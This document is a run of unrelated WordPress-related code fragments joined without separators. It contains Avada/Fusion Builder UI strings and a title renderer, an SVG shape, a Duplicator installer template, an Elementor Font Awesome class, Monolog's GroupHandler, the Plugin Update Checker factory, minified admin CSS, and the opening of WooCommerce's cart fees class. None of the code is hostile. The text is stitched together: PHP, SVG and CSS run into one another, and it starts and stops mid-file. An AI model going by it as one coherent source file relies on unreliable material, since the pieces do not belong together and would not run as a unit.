		'align_center'                                => esc_html__( 'Align center', 'fusion-builder' ),
		'align_right'                                 => esc_html__( 'Align right', 'fusion-builder' ),
		'align_justify'                               => esc_html__( 'Justify', 'fusion-builder' ),
		'indent'                                      => esc_html__( 'Indent', 'fusion-builder' ),
		'outdent'                                     => esc_html__( 'Outdent', 'fusion-builder' ),
		'accept'                                      => esc_html__( 'Accept', 'fusion-builder' ),
		'typography'                                  => esc_html__( 'Typography', 'fusion-builder' ),
		'typography_settings'                         => esc_html__( 'Settings', 'fusion-builder' ),
		'typography_family'                           => esc_html__( 'Family', 'fusion-builder' ),
		'typography_tag'                              => esc_html__( 'Tag', 'fusion-builder' ),
		'typography_fontsize'                         => esc_html__( 'Font Size', 'fusion-builder' ),
		'typography_lineheight'                       => esc_html__( 'Line Height', 'fusion-builder' ),
		'typography_letterspacing'                    => esc_html__( 'Letter Spacing', 'fusion-builder' ),
		'typography_variant'                          => esc_html__( 'Variant', 'fusion-builder' ),
		'typography_default'                          => esc_html__( 'Default', 'fusion-builder' ),
		'font_color'                                  => esc_html__( 'Font color', 'fusion-builder' ),
		'inline_element_edit'                         => esc_html__( 'Edit Inline Element', 'fusion-builder' ),
		'inline_element_remove'                       => esc_html__( 'Remove Inline Element', 'fusion-builder' ),
		'inline_element_delete'                       => esc_html__( 'Delete All', 'fusion-builder' ),
		'delete'                                      => esc_html__( 'Delete', 'fusion-builder' ),
		'preview_mode'                                => esc_html__( 'Preview Mode', 'fusion-builder' ),
		'preview_mode_notice'                         => esc_html__( 'Please beware that editing options are limited on this mode. All open dialogs and panels will be closed.', 'fusion-builder' ),
		'multi_dialogs'                               => esc_html__( 'Multiple Dialogs', 'fusion-builder' ),
		'multi_dialogs_notice'                        => esc_html__( 'Please close other open dialogs first to use this option.', 'fusion-builder' ),
		'widget'                                      => esc_html__( 'Widget', 'fusion-builder' ),
		'select_widget'                               => esc_html__( 'No widget selected. Edit to select widget type.', 'fusion-builder' ),

		/* translators: Add unknown element type. */
		'add_unknown'                                 => esc_html__( 'Add %s', 'fusion-builder' ),
		'link_options'                                => esc_html__( 'Link Options', 'fusion-builder' ),
		'open_in_new_tab'                             => esc_html__( 'Open Link in New Tab', 'fusion-builder' ),
		'clear'                                       => esc_html__( 'Clear', 'fusion-builder' ),
		'remove_format'                               => esc_html__( 'Remove formatting', 'fusion-builder' ),
		'gallery_placeholder'                         => esc_html__( 'Please add a gallery image here.', 'fusion-builder' ),
		'slider_placeholder'                          => esc_html__( 'Please select a slider for it to display here.', 'fusion-builder' ),
		'form_placeholder'                            => esc_html__( 'Please select a form for it to display here.', 'fusion-builder' ),
		'video_placeholder'                           => esc_html__( 'Please add a video here.', 'fusion-builder' ),
		'search_results'                              => esc_html__( 'Search Results', 'fusion-builder' ),
		'problem_saving'                              => esc_html__( 'Page Save Incomplete', 'fusion-builder' ),
		'changes_not_saved'                           => esc_html__( 'Not all content has saved correctly. Click ok to return to the page editor and try again.', 'fusion-builder' ),
		'page_save_failed'                            => esc_html__( 'Page Save Failed', 'fusion-builder' ),
		'authentication_no_heartbeat'                 => esc_html__( 'Security nonce check failed.  Attempts to reconnect were also unsuccessful.  Please ensure WordPress Heartbeat is not disabled.', 'fusion-builder' ),
		'layout_cleared'                              => esc_html__( 'Layout cleared.', 'fusion-builder' ),
		'remove'                                      => esc_html__( 'Remove', 'fusion-builder' ),
		'enter_value'                                 => esc_attr__( 'Enter value', 'fusion-builder' ),
		'import_failed'                               => esc_attr__( 'Import Failed', 'fusion-builder' ),
		'import_failed_description'                   => esc_attr__( 'Please check that the file selected is valid JSON. Click ok to return to the page editor and try again.', 'fusion-builder' ),
		'saved'                                       => esc_attr__( 'Saved', 'fusion-builder' ),
		'as_global'                                   => esc_attr__( 'As global', 'fusion-builder' ),
		'front_end_redirect_confirm'                  => esc_html__( 'This action will redirect you to the front-end builder. All unsaved changes will be lost. Are you sure?', 'fusion-builder' ),
		'duplicate_slider_revolution'                 => esc_html__( 'Duplicate Slider Revolution detected.  Duplicate sliders will not be rendered whilst in the live editor.', 'fusion-builder' ),
		/* Translators: List of tags. */
		'tags'                                        => esc_html__( 'Tags: %s', 'fusion-builder' ),
		'other'                                       => esc_html__( 'Other', 'fusion-builder' ),
		'dynamic_data'                                => esc_html__( 'Dynamic Data', 'fusion-builder' ),
		'select_dynamic_content'                      => esc_html__( 'Select Dynamic Data', 'fusion-builder' ),
		'custom_fonts'                                => esc_html__( 'Custom Font(s)', 'fusion-builder' ),
		'add_new'                                     => esc_html__( 'Add New', 'fusion-builder' ),
		'add'                                         => esc_html__( 'Add', 'fusion-builder' ),
		'separate_with_comma'                         => esc_html__( 'Separate with Commas', 'fusion-builder' ),
		'previous'                                    => esc_html__( 'Previous', 'fusion-builder' ),
		'next'                                        => esc_html__( 'Next', 'fusion-builder' ),
		'post_title'                                  => esc_html__( 'Post Title', 'fusion-builder' ),
		'related_posts'                               => esc_html__( 'Related Posts', 'fusion-builder' ),
		'related_projects'                            => esc_html__( 'Related Projects', 'fusion-builder' ),
		'related_faqs'                                => esc_html__( 'Related Faqs', 'fusion-builder' ),
		'related_products'                            => apply_filters( 'woocommerce_product_related_products_heading', __( 'Related products', 'fusion-builder' ) ),
		'upsells_products'                            => apply_filters( 'woocommerce_product_upsells_products_heading', __( 'You may also like&hellip;', 'fusion-builder' ) ),
		'cross_sells_products'                        => apply_filters( 'woocommerce_product_cross_sells_products_heading', __( 'You may be interested in&hellip;', 'fusion-builder' ) ),
		'project_details'                             => esc_html__( 'Project Details', 'fusion-builder' ),
		'add_custom_icon_set'                         => esc_html__( 'Add Custom Icon Set', 'fusion-builder' ),
		'edit_layout_section'                         => esc_html__( 'Edit Layout Section', 'fusion-builder' ),
		'edit_content_layout_section'                 => esc_html__( 'Edit Content Layout Section', 'fusion-builder' ),
		'edit_footer_layout_section'                  => esc_html__( 'Edit Footer Layout Section', 'fusion-builder' ),
		'edit_header_layout_section'                  => esc_html__( 'Edit Header Layout Section', 'fusion-builder' ),
		'dynamic_source'                              => esc_html__( 'Set dynamic data to update preview source.', 'fusion-builder' ),
		'builder_ibrary_title'                        => esc_html__( 'Avada Builder Library', 'fusion-builder' ),
		/* translators: The iconset name. */
		'no_results_in'                               => esc_html__( 'No Results in "%s"', 'fusion-builder' ),
		'main_menu'                                   => esc_html__( 'Main Menu', 'fusion-builder' ),
		'background'                                  => esc_html__( 'Background', 'fusion-builder' ),
		'logo'                                        => esc_html__( 'Logo', 'fusion-builder' ),
		'phone_pattern_text'                          => esc_html__( 'Only numbers and phone characters are accepted', 'fusion-builder' ),
		'all'                                         => esc_html__( 'All', 'fusion-builder' ),
		'studio_importing_content'                    => esc_html__( 'Importing Studio Content', 'fusion-builder' ),
		'studio_importing_content_failed'             => esc_html__( 'Importing Studio Content Failed', 'fusion-builder' ),
		'studio_importing_media'                      => esc_html__( 'Importing Studio Media:', 'fusion-builder' ),
		'api_error_text'                              => esc_html__( 'Failed to retrieve data from API', 'fusion-builder' ),
		'demo_importing_content'                      => esc_html__( 'Importing Prebuilt Page Content', 'fusion-builder' ),
		'demo_importing_content_failed'               => esc_html__( 'Importing Prebuilt Page Content Failed', 'fusion-builder' ),
		'demo_importing_media'                        => esc_html__( 'Importing Prebuilt Page Media:', 'fusion-builder' ),
		'setup_plugin_error_title'                    => esc_html__( 'Plugin Installation Failed', 'fusion-builder' ),
		'setup_prebuilt_error_title'                  => esc_html__( 'Importing Prebuilt Website Failed', 'fusion-builder' ),
		'setup_prebuilt_error_restart'                => esc_html__( 'Continue', 'fusion-builder' ),
		'setup_general_error_title'                   => esc_html__( 'Something Went Wrong', 'fusion-builder' ),
		'setup_general_error_message'                 => esc_html__( 'An error occured and the process could not be completed. Please check your error log for details.', 'fusion-builder' ),
		'error_php_limits'                            => esc_html__( 'The import process has timed out, but already imported steps have been saved. Click "continue", and the importer will attempt to complete the remaining steps of the import process.', 'fusion-builder' ),
		'content'                                     => esc_html__( 'Content', 'fusion-builder' ),
		'gallery_loading_message'                     => esc_html__( 'Loading the next set of gallery items...', 'fusion-builder' ),
		'toc_element_title_placeholder'               => esc_html__( 'Dummy Title Placeholder', 'fusion-builder' ),
	];

	return $text_strings;
}

/**
 * Get current location.
 *
 * @since 1.0
 */
function fusion_app_get_current_page() {

	if ( is_date() ) {
		return 'date';

	} elseif ( is_author() ) {
		return 'author';

	} elseif ( is_tax() ) {
		return 'taxonomy';

	} elseif ( is_archive() && ! ( class_exists( 'WooCommerce' ) && is_shop() ) ) {
		return 'archive';

	} elseif ( is_search() ) {
		return 'search';

	} elseif ( is_404() ) {
		return '404';

	} elseif ( is_attachment() ) {
		return 'attachment';

	} elseif ( is_single() ) {
		return 'single';

	} elseif ( is_page() || get_option( 'page_for_posts' ) === fusion_library()->get_page_id() || ( class_exists( 'WooCommerce' ) && is_shop() ) ) {
		return 'page';
	}

	return 'index';
}

/**
 * Get current location.
 *
 * @since 1.0.3
 */
function fusion_set_live_data() {
	if ( class_exists( 'Fusion_App' ) ) {
		Fusion_App()->set_data();
		do_action( 'fusion_filter_data' );
	}
}

/**
 * Renders the title.
 *
 * @param string|int $size            The heading size.
 * @param string     $heading_content Section title.
 * @return strint HTML content.
 */
function fusion_render_title( $size, $heading_content ) {
	$fusion_settings = awb_get_fusion_settings();

	// Set vars.
	$content_align = is_rtl() ? 'right' : 'left';
	$size_array    = [
		'h1'  => 'one',
		'h2'  => 'two',
		'h3'  => 'three',
		'h4'  => 'four',
		'h5'  => 'five',
		'h6'  => 'six',
		'div' => 'div',
		'p'   => 'paragraph',
	];
	$size          = 'div' === $size || 'p' === $size ? $size : 'h' . $size;

	$margin_top            = $fusion_settings->get( 'title_margin', 'top' );
	$margin_bottom         = $fusion_settings->get( 'title_margin', 'bottom' );
	$sep_color             = $fusion_settings->get( 'title_border_color' );
	$style_type            = $fusion_settings->get( 'title_style_type' );
	$responsive_typography = $fusion_settings->get( 'typography_sensitivity' );

	$underline_or_none = false !== strpos( $style_type, 'underline' ) || false !== strpos( $style_type, 'none' );

	// Render title.
	$classes        = '';
	$styles         = '';
	$heading_styles = '';

	$classes_array = explode( ' ', $style_type );
	foreach ( $classes_array as $class ) {
		$classes .= ' sep-' . $class;
	}

	$wrapper_classes = ' fusion-title fusion-title-size-' . $size_array[ $size ] . $classes;

	if ( $margin_top ) {
		$styles .= sprintf( 'margin-top:%s;', Fusion_Sanitize::get_value_with_unit( $margin_top ) );
	}
	if ( $margin_bottom ) {
		$styles .= sprintf( 'margin-bottom:%s;', Fusion_Sanitize::get_value_with_unit( $margin_bottom ) );
	}

	if ( '' !== $margin_top || '' !== $margin_bottom ) {
		$heading_styles .= 'margin:0;';
	}

	if ( false !== $underline_or_none ) {

		if ( false !== strpos( $style_type, 'underline' ) && $sep_color ) {
			$styles .= 'border-bottom-color:' . $sep_color;
		} elseif ( false !== strpos( $style_type, 'none' ) ) {
			$classes .= ' fusion-sep-none';
		}
	}

	$output = '';

	$output .= '<div class="' . esc_attr( $wrapper_classes ) . '" style="' . esc_attr( $styles ) . '">';
	if ( false === $underline_or_none && 'right' === $content_align ) {
		$output .= '<div class="title-sep-container">';
		$output .= '<div class="title-sep' . esc_attr( $classes ) . '"></div>';
		$output .= '</div>';
	}

	$responsive_class = '';
	if ( $responsive_typography ) {
		$font_size        = $fusion_settings->get( $size . '_typography', 'font-size' );
		$line_height      = $fusion_settings->get( $size . '_typography', 'line-height' );
		$data             = awb_get_responsive_type_data( $size, $font_size, $line_height );
		$responsive_class = ' ' . $data['class'];
		$heading_styles  .= $data['font_size'];
		$heading_styles  .= $data['line_height'];
	}

	$output .= '<' . $size . ' class="title-heading-' . esc_attr( $content_align ) . esc_attr( $responsive_class ) . '" style="' . esc_attr( $heading_styles ) . '">';
	$output .= $heading_content;
	$output .= '</' . $size . '>';

	if ( false === $underline_or_none && 'left' === $content_align ) {
		$output .= '<div class="title-sep-container">';
		$output .= '<div class="title-sep' . esc_attr( $classes ) . '"></div>';
		$output .= '</div>';
	}
	$output .= '</div>';

	return $output;
}


// If PHP version older than 7.3.0.
if ( ! function_exists( 'array_key_first' ) ) {

	/**
	 * Gets first key of array.
	 *
	 * @access public
	 * @since  3.0.0
	 * @param  array $arr Input array.
	 * @return string
	 */
	function array_key_first( $arr ) {
		foreach ( $arr as $key => $unused ) {
			return $key;
		}
		return '';
	}
}
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 100" preserveAspectRatio="none">
	<path class="elementor-shape-fill" d="M806,94.7C619.5,90,500,20.3,500,1.7c-1,18.6-117.5,88.3-306,93C92,97.2,0,97.9,0,97.9v-0l0,0v2.3h1000v-2.3 C1000,97.7,920.3,97.6,806,94.7z M350,65.1L350,65.1L350,65.1L350,65.1z"/>
</svg>
<?php
/**
 *
 * @package templates/default
 *
 */
defined('ABSPATH') || defined('DUPXABSPATH') || exit;

/* Variables */
/* @var bool $pass */
?>
<div class="sub-title">STATUS</div>
<?php if($pass): ?>
<p class="green">
    Successfully read database variables.
</p>
<?php else: ?>
<p class="red">
    Error reading database variables.
</p>
<?php endif; ?>
<div class="sub-title">DETAILS</div>
<p>
    Query executed: <i>SHOW VARIABLES like 'version'</i><br/><br/>
    The "SHOW VARIABLES" query is required to acquire necessary information about the database and safely execute the
    installation process. There's not single setting that will make this query work for all hosting providers. Please
    try contacting your hosting provider and asking them to help make the query work if it failed.
</p><?php
namespace Elementor\Core\Page_Assets\Data_Managers\Font_Icon_Svg;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Font Awesome Icon Svg.
 *
 * @since 3.4.0
 */
class Font_Awesome extends Base {
	const LIBRARY_CURRENT_VERSION = '5.15.3';

	protected function get_config( $icon ) {
		preg_match( '/fa(.*) fa-/', $icon['value'], $icon_name_matches );

		$icon_name = str_replace( $icon_name_matches[0], '', $icon['value'] );

		$icon_key = str_replace( ' fa-', '-', $icon['value'] );

		$icon_file_name = str_replace( 'fa-', '', $icon['library'] );

		return [
			'key' => $icon_key,
			'version' => self::LIBRARY_CURRENT_VERSION,
			'file_path' => ELEMENTOR_ASSETS_PATH . 'lib/font-awesome/json/' . $icon_file_name . '.json',
			'data' => [
				'icon_data' => [
					'name' => $icon_name,
					'library' => $icon['library'],
				],
			],
		];
	}

	protected function get_asset_content() {
		$icon_data = $this->get_config_data( 'icon_data' );

		$file_data = json_decode( $this->get_file_data( 'content', $icon_data['library'] ), true );

		$icon_name = $icon_data['name'];

		$svg_data = $file_data['icons'][ $icon_name ];

		return [
			'width' => $svg_data[0],
			'height' => $svg_data[1],
			'path' => $svg_data[4],
			'key' => $this->get_key(),
		];
	}
}
<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use Monolog\Formatter\FormatterInterface;
use Monolog\ResettableInterface;

/**
 * Forwards records to multiple handlers
 *
 * @author Lenar Lõhmus <lenar@city.ee>
 *
 * @phpstan-import-type Record from \Monolog\Logger
 */
class GroupHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface
{
    use ProcessableHandlerTrait;

    /** @var HandlerInterface[] */
    protected $handlers;
    /** @var bool */
    protected $bubble;

    /**
     * @param HandlerInterface[] $handlers Array of Handlers.
     * @param bool               $bubble   Whether the messages that are handled can bubble up the stack or not
     */
    public function __construct(array $handlers, bool $bubble = true)
    {
        foreach ($handlers as $handler) {
            if (!$handler instanceof HandlerInterface) {
                throw new \InvalidArgumentException('The first argument of the GroupHandler must be an array of HandlerInterface instances.');
            }
        }

        $this->handlers = $handlers;
        $this->bubble = $bubble;
    }

    /**
     * {@inheritDoc}
     */
    public function isHandling(array $record): bool
    {
        foreach ($this->handlers as $handler) {
            if ($handler->isHandling($record)) {
                return true;
            }
        }

        return false;
    }

    /**
     * {@inheritDoc}
     */
    public function handle(array $record): bool
    {
        if ($this->processors) {
            /** @var Record $record */
            $record = $this->processRecord($record);
        }

        foreach ($this->handlers as $handler) {
            $handler->handle($record);
        }

        return false === $this->bubble;
    }

    /**
     * {@inheritDoc}
     */
    public function handleBatch(array $records): void
    {
        if ($this->processors) {
            $processed = [];
            foreach ($records as $record) {
                $processed[] = $this->processRecord($record);
            }
            /** @var Record[] $records */
            $records = $processed;
        }

        foreach ($this->handlers as $handler) {
            $handler->handleBatch($records);
        }
    }

    public function reset()
    {
        $this->resetProcessors();

        foreach ($this->handlers as $handler) {
            if ($handler instanceof ResettableInterface) {
                $handler->reset();
            }
        }
    }

    public function close(): void
    {
        parent::close();

        foreach ($this->handlers as $handler) {
            $handler->close();
        }
    }

    /**
     * {@inheritDoc}
     */
    public function setFormatter(FormatterInterface $formatter): HandlerInterface
    {
        foreach ($this->handlers as $handler) {
            if ($handler instanceof FormattableHandlerInterface) {
                $handler->setFormatter($formatter);
            }
        }

        return $this;
    }
}
<?php
if ( !class_exists('Puc_v4p7_Factory', false) ):

	/**
	 * A factory that builds update checker instances.
	 *
	 * When multiple versions of the same class have been loaded (e.g. PluginUpdateChecker 4.0
	 * and 4.1), this factory will always use the latest available minor version. Register class
	 * versions by calling {@link PucFactory::addVersion()}.
	 *
	 * At the moment it can only build instances of the UpdateChecker class. Other classes are
	 * intended mainly for internal use and refer directly to specific implementations.
	 */
	class Puc_v4p7_Factory {
		protected static $classVersions = array();
		protected static $sorted = false;

		protected static $myMajorVersion = '';
		protected static $latestCompatibleVersion = '';

		/**
		 * Create a new instance of the update checker.
		 *
		 * This method automatically detects if you're using it for a plugin or a theme and chooses
		 * the appropriate implementation for your update source (JSON file, GitHub, BitBucket, etc).
		 *
		 * @see Puc_v4p7_UpdateChecker::__construct
		 *
		 * @param string $metadataUrl The URL of the metadata file, a GitHub repository, or another supported update source.
		 * @param string $fullPath Full path to the main plugin file or to the theme directory.
		 * @param string $slug Custom slug. Defaults to the name of the main plugin file or the theme directory.
		 * @param int $checkPeriod How often to check for updates (in hours).
		 * @param string $optionName Where to store book-keeping info about update checks.
		 * @param string $muPluginFile The plugin filename relative to the mu-plugins directory.
		 * @return Puc_v4p7_Plugin_UpdateChecker|Puc_v4p7_Theme_UpdateChecker|Puc_v4p7_Vcs_BaseChecker
		 */
		public static function buildUpdateChecker($metadataUrl, $fullPath, $slug = '', $checkPeriod = 12, $optionName = '', $muPluginFile = '') {
			$fullPath = self::normalizePath($fullPath);
			$id = null;

			//Plugin or theme?
			$themeDirectory = self::getThemeDirectoryName($fullPath);
			if ( self::isPluginFile($fullPath) ) {
				$type = 'Plugin';
				$id = $fullPath;
			} else if ( $themeDirectory !== null ) {
				$type = 'Theme';
				$id = $themeDirectory;
			} else {
				throw new RuntimeException(sprintf(
					'The update checker cannot determine if "%s" is a plugin or a theme. ' .
					'This is a bug. Please contact the PUC developer.',
					htmlentities($fullPath)
				));
			}

			//Which hosting service does the URL point to?
			$service = self::getVcsService($metadataUrl);

			$apiClass = null;
			if ( empty($service) ) {
				//The default is to get update information from a remote JSON file.
				$checkerClass = $type . '_UpdateChecker';
			} else {
				//You can also use a VCS repository like GitHub.
				$checkerClass = 'Vcs_' . $type . 'UpdateChecker';
				$apiClass = $service . 'Api';
			}

			$checkerClass = self::getCompatibleClassVersion($checkerClass);
			if ( $checkerClass === null ) {
				trigger_error(
					sprintf(
						'PUC %s does not support updates for %ss %s',
						htmlentities(self::$latestCompatibleVersion),
						strtolower($type),
						$service ? ('hosted on ' . htmlentities($service)) : 'using JSON metadata'
					),
					E_USER_ERROR
				);
				return null;
			}
      
			if ( !isset($apiClass) ) {
				//Plain old update checker.
				return new $checkerClass($metadataUrl, $id, $slug, $checkPeriod, $optionName, $muPluginFile);
			} else {
				//VCS checker + an API client.
				$apiClass = self::getCompatibleClassVersion($apiClass);
				if ( $apiClass === null ) {
					trigger_error(sprintf(
						'PUC %s does not support %s',
						htmlentities(self::$latestCompatibleVersion),
						htmlentities($service)
					), E_USER_ERROR);
					return null;
				}

				return new $checkerClass(
					new $apiClass($metadataUrl),
					$id,
					$slug,
					$checkPeriod,
					$optionName,
					$muPluginFile
				);
			}
		}

		/**
		 *
		 * Normalize a filesystem path. Introduced in WP 3.9.
		 * Copying here allows use of the class on earlier versions.
		 * This version adapted from WP 4.8.2 (unchanged since 4.5.0)
		 *
		 * @param string $path Path to normalize.
		 * @return string Normalized path.
		 */
		public static function normalizePath($path) {
			if ( function_exists('wp_normalize_path') ) {
				return wp_normalize_path($path);
			}
			$path = str_replace('\\', '/', $path);
			$path = preg_replace('|(?<=.)/+|', '/', $path);
			if ( substr($path, 1, 1) === ':' ) {
				$path = ucfirst($path);
			}
			return $path;
		}
		
		/**
		 * Check if the path points to a plugin file.
		 *
		 * @param string $absolutePath Normalized path.
		 * @return bool
		 */
		protected static function isPluginFile($absolutePath) {
			//Is the file inside the "plugins" or "mu-plugins" directory?
			$pluginDir = self::normalizePath(WP_PLUGIN_DIR);
			$muPluginDir = self::normalizePath(WPMU_PLUGIN_DIR);
			if ( (strpos($absolutePath, $pluginDir) === 0) || (strpos($absolutePath, $muPluginDir) === 0) ) {
				return true;
			}

			//Is it a file at all? Caution: is_file() can fail if the parent dir. doesn't have the +x permission set.
			if ( !is_file($absolutePath) ) {
				return false;
			}

			//Does it have a valid plugin header?
			//This is a last-ditch check for plugins symlinked from outside the WP root.
			if ( function_exists('get_file_data') ) {
				$headers = get_file_data($absolutePath, array('Name' => 'Plugin Name'), 'plugin');
				return !empty($headers['Name']);
			}

			return false;
		}

		/**
		 * Get the name of the theme's directory from a full path to a file inside that directory.
		 * E.g. "/abc/public_html/wp-content/themes/foo/whatever.php" => "foo".
		 *
		 * Note that subdirectories are currently not supported. For example,
		 * "/xyz/wp-content/themes/my-theme/includes/whatever.php" => NULL.
		 *
		 * @param string $absolutePath Normalized path.
		 * @return string|null Directory name, or NULL if the path doesn't point to a theme.
		 */
		protected static function getThemeDirectoryName($absolutePath) {
			if ( is_file($absolutePath) ) {
				$absolutePath = dirname($absolutePath);
			}

			if ( file_exists($absolutePath . '/style.css') ) {
				return basename($absolutePath);
			}
			return null;
		}

		/**
		 * Get the name of the hosting service that the URL points to.
		 *
		 * @param string $metadataUrl
		 * @return string|null
		 */
		private static function getVcsService($metadataUrl) {
			$service = null;

			//Which hosting service does the URL point to?
			$host = parse_url($metadataUrl, PHP_URL_HOST);
			$path = parse_url($metadataUrl, PHP_URL_PATH);

			//Check if the path looks like "/user-name/repository".
			//For GitLab.com it can also be "/user/group1/group2/.../repository".
			$repoRegex = '@^/?([^/]+?)/([^/#?&]+?)/?$@';
			if ( $host === 'gitlab.com' ) {
				$repoRegex = '@^/?(?:[^/#?&]++/){1,20}(?:[^/#?&]++)/?$@';
			}
			if ( preg_match($repoRegex, $path) ) {
				$knownServices = array(
					'github.com' => 'GitHub',
					'bitbucket.org' => 'BitBucket',
					'gitlab.com' => 'GitLab',
				);
				if ( isset($knownServices[$host]) ) {
					$service = $knownServices[$host];
				}
			}
			
			return apply_filters('puc_get_vcs_service', $service, $host, $path, $metadataUrl);
		}

		/**
		 * Get the latest version of the specified class that has the same major version number
		 * as this factory class.
		 *
		 * @param string $class Partial class name.
		 * @return string|null Full class name.
		 */
		protected static function getCompatibleClassVersion($class) {
			if ( isset(self::$classVersions[$class][self::$latestCompatibleVersion]) ) {
				return self::$classVersions[$class][self::$latestCompatibleVersion];
			}
			return null;
		}

		/**
		 * Get the specific class name for the latest available version of a class.
		 *
		 * @param string $class
		 * @return null|string
		 */
		public static function getLatestClassVersion($class) {
			if ( !self::$sorted ) {
				self::sortVersions();
			}

			if ( isset(self::$classVersions[$class]) ) {
				return reset(self::$classVersions[$class]);
			} else {
				return null;
			}
		}

		/**
		 * Sort available class versions in descending order (i.e. newest first).
		 */
		protected static function sortVersions() {
			foreach ( self::$classVersions as $class => $versions ) {
				uksort($versions, array(__CLASS__, 'compareVersions'));
				self::$classVersions[$class] = $versions;
			}
			self::$sorted = true;
		}

		protected static function compareVersions($a, $b) {
			return -version_compare($a, $b);
		}

		/**
		 * Register a version of a class.
		 *
		 * @access private This method is only for internal use by the library.
		 *
		 * @param string $generalClass Class name without version numbers, e.g. 'PluginUpdateChecker'.
		 * @param string $versionedClass Actual class name, e.g. 'PluginUpdateChecker_1_2'.
		 * @param string $version Version number, e.g. '1.2'.
		 */
		public static function addVersion($generalClass, $versionedClass, $version) {
			if ( empty(self::$myMajorVersion) ) {
				$nameParts = explode('_', __CLASS__, 3);
				self::$myMajorVersion = substr(ltrim($nameParts[1], 'v'), 0, 1);
			}

			//Store the greatest version number that matches our major version.
			$components = explode('.', $version);
			if ( $components[0] === self::$myMajorVersion ) {

				if (
					empty(self::$latestCompatibleVersion)
					|| version_compare($version, self::$latestCompatibleVersion, '>')
				) {
					self::$latestCompatibleVersion = $version;
				}

			}

			if ( !isset(self::$classVersions[$generalClass]) ) {
				self::$classVersions[$generalClass] = array();
			}
			self::$classVersions[$generalClass][$version] = $versionedClass;
			self::$sorted = false;
		}
	}

endif;
:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}.woocommerce-analytics__table-placeholder .woocommerce-card__body{padding:0}.woocommerce-analytics__table-placeholder .woocommerce-table__table{margin-bottom:0}.woocommerce-analytics__table-placeholder .woocommerce-table__table tr:last-child{border-bottom-style:none}<?php
/**
 * Cart fees API.
 *
 * Developers can add fees to the cart via WC()->cart->fees_api() which will reference this class.
 *
 * We suggest using the action woocommerce_cart_calculate_fees hook for adding fees.
 *
 * @package WooCommerce\Classes
 * @version 3.2.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * WC_Cart_Fees class.
 *
 * @since 3.2.0
 */
